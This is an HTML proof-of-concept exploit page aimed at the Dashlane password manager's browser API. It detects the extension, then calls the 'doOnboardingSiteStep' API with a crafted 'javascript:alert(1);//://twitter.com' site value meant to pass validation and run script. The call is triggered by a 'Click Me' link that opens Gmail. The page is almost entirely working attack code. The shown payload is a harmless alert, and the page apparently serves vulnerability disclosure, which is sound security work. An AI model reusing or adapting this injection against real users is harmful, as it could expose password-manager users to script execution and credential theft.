<html>
|
<head>
|
<script src="/dashlaneapi.js"></script>
|
<script>
|
var timer;
|
var obj;
|
|
function startdashlane()
|
{
|
dashlaneAPI.global.isInstalled(function(err,
|
isInstalled,
|
communicationObject) {
|
if (isInstalled) {
|
obj = communicationObject;
|
clearTimeout(timer);
|
document.body.innerHTML += "<p>Dashlane Ready</p>";
|
} else {
|
alert("Dashlane Not Installed");
|
}
|
});
|
}
|
function init()
|
{
|
dashlaneAPI.init({});
|
timer = setTimeout(startdashlane, 1000);
|
}
|
|
function exploit()
|
{
|
obj.callAPI('getUserOnboardingSites', null, function () {});
|
obj.callAPI('doOnboardingSiteStep', {
|
site: 'javascript:alert(1);//://twitter.com'
|
}, function () {});
|
}
|
</script>
|
</head>
|
<body onload="init()">
|
<a href="javascript:window.open('https://mail.google.com');setTimeout(exploit, 2000)">Click Me</a>
|
</body>
|
</html>
|